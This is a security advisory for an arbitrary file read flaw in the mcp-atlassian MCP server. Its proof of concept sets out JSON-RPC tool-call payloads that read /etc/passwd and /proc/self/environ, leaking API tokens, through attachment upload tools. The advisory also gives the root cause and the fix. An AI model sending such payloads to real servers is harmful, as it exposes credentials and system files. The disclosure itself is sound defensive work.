mcp-atlassian: Arbitrary Server-Side File Read via Attachment Upload Path Traversal
The mcp-atlassian server lets any remote MCP client read arbitrary files from the server's filesystem by passing a path like /etc/passwd or /proc/self/environ to the attachment upload tools, which ope
The problem
The `confluence_upload_attachment` and `jira_update_issue` (via its `attachments` parameter) tools accept a client-supplied `file_path`, call `os.path.abspath()` on it, then pass it directly to `open(file_path, 'rb')` on the server.
Over a remote HTTP or SSE transport, that path resolves on the server host, not the client. A remote caller can supply any path the server process can read, including `/etc/passwd`, `/proc/self/environ` (which leaks `JIRA_API_TOKEN` and `CONFLUENCE_API_TOKEN`), or relative traversal strings like `../../../../etc/hostname`.
The file bytes are then uploaded to Atlassian as a real attachment, giving the attacker a clean exfiltration channel with no error.
Proof of concept
A working proof-of-concept for this issue in mcp-atlassian, with the exact payload below.
# Step 1: read /etc/passwd via Confluence upload sink
{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"content_id":"<PAGE_ID>","file_path":"/etc/passwd"}}}
# Step 2: credential disclosure via procfs
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"content_id":"<PAGE_ID>","file_path":"/proc/self/environ"}}}
# Step 3: same primitive via Jira sink
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"jira_update_issue","arguments":{"issue_key":"<ISSUE_KEY>","fields":"{}","attachments":"/etc/passwd"}}}
# Step 4: relative traversal (no containment)
{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"content_id":"<PAGE_ID>","file_path":"../../../../etc/hostname"}}}The root cause is CWE-22 / CWE-73: `os.path.abspath()` only normalizes the path, it does not contain it. The normalized path is then handed straight to `open()`, so any path the server process can read is reachable, including absolute paths and relative traversal sequences.
The fix in 0.22.0 disables the attachment upload tools when the server is running under a remote transport (SSE or streamable-HTTP). Because the tool was designed around `stdio` semantics where client and server share the same filesystem, there is no safe way to accept a server-side path from a remote caller.
Disabling the tools in that context removes the sink entirely rather than attempting path containment that could be bypassed.
The fix
Upgrade to mcp-atlassian >= 0.22.0. The upload tools (`confluence_upload_attachment`, `confluence_upload_attachments`, and the `attachments` parameter of `jira_update_issue`) are disabled when the server runs under a remote transport (SSE or streamable-HTTP). No workaround exists for earlier versions other than setting `READ_ONLY_MODE=true` (which blocks writes but also disables unrelated tools) or running only on `stdio` transport in a single-user context.
Reported by Francisco Rosales (Manifold Security).
Related research
- high · 7.7phantom-audio: Arbitrary File Write and Decode-Bomb DoS via Unconfined MCP Tool Paths
- criticalCVE-2026-54760CVE-2026-54760: langroid SQLChatAgent pg_read_file Blocklist Bypass
- high · 7.8CVE-2026-53925CVE-2026-53925: Glances Arbitrary File Write via secure_popen Operator Injection in AMP Configuration
- highCVE-2026-54134CVE-2026-54134: OctoPrint File Exfiltration via Upload Parameter Injection